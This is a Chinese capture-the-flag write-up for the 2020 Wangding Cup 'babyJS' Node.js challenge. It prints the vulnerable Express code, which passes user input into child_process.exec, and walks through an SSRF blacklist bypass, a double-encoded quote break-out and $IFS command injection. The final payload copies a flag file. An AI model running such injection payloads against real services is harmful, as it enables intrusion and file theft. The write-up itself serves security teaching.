2020网鼎杯线下半决赛web_babyJS write_up

本文分析了一个基于Node.js的应用程序中的安全漏洞,详细探讨了如何通过构造特定的URL参数来绕过黑名单限制,并利用命令注入获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目描述

nodejs的url库真好用

攻击分析

直接访问

在这里插入图片描述
一个空的json,啥也没有。

源码

在这里插入图片描述
真正的web逻辑在routes\index.js下:

var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
    res.json({});
});

router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
	var u=req.query.url.replace(/[\"\']/ig,'');
	console.log(url.parse(u).href);
	let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
	console.log(log);
	child_process.exec(log);
	res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});


router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
	var urlObject=url.parse(u);
	if(blacklist.indexOf(urlObject.hostname) == -1){
		var dest=urlObject.href;
		request(dest,(err,result,body)=>{
			res.json(body);
		})
	}
	else{
		res.json([]);
	}
	}
});

module.exports = router;

可以看出还有一个/debug路径,对该路径进行GET请求时,程序会先判断访问ip是否在blacklist中,如果不存在,也就是不是本地回环访问,则返回空json。(这里是把blacklist当成whitelist用了)如果是本地访问就读取get参数中的url参数,去除其中的单引号和双引号,然后用nodejs的url.parse去解析。把解析后的url拼接到一条shell命令中执行。之后返回/tmp/log文件中的内容。可见题目应该是想考察命令注入。
对该路径进行POST请求时,程序会检测是否提交了url参数,若提交了该参数则会用url.parse解析,然后判断其中的主机名字段是否在blacklist中,如果主机名没有被ban掉,则去使用GET方法请求url参数中所提交的url,返回请求的内容。

Payload构造

根据程序逻辑,可见应先POST /debug,在url参数中绕过blacklist,让程序再GET请求自己的/debug路径,即可绕过白名单,之后构造注入命令。

['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1']

可以看到黑名单中只过滤了127.0.0.1相关的回环地址,但实际上127.0.0.1到127.255.255.254都是回环地址,随便挑一个就能绕过POST请求的黑名单
在这里插入图片描述
在这里插入图片描述
下一步是闭合引号,这就和nodejs的url库的具体实现相关了。如果我们在参数中加入url编码后的引号也就是%27,则参数会被web服务器先预解码,在传到replace函数前就已经是解码后的引号,因此会被换掉。
在这里插入图片描述
想到可以二次编码,把%也编码,即%2527,但是这需要二次解码,比赛时由线下赛没网,没有nodejs的源码,不知道去哪找二次解码的部分。后来在https://github.com/nodejs/node/blob/master/lib/url.js看到:
在这里插入图片描述
意思是@前,也就是URL中表示用户名和密码的字段会被二次解码,所以可以构造如下payload即可闭合引号:
{"url":"http://127.0.0.2/debug?url=http://%2527@xx"}
在这里插入图片描述

在下一步就是想办法吧flag传回来,可以使用cp命令把flag文件直接复制到/tmp/log下,但是需要空格分离,这里用到了linux shell里一个特殊的变量$IFS,这个变量意为 Internal Field Separator (内部字段分隔符),默认值就是空格。于是可以构造最终的payload:
{"url":"http://127.0.0.2/debug?url=http://%2527;%2527@xx;cp$IFS/tmp/flag$IFS/tmp/log%00"}(最后%00截断后续命令)
在这里插入图片描述

防守分析

本题上传防守薄后要在shell脚本里重启nodejs,当时忘记了npm start启动的进程叫什么,没有守成功,后来发现应该先pkill node;pkill npm结束进程。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值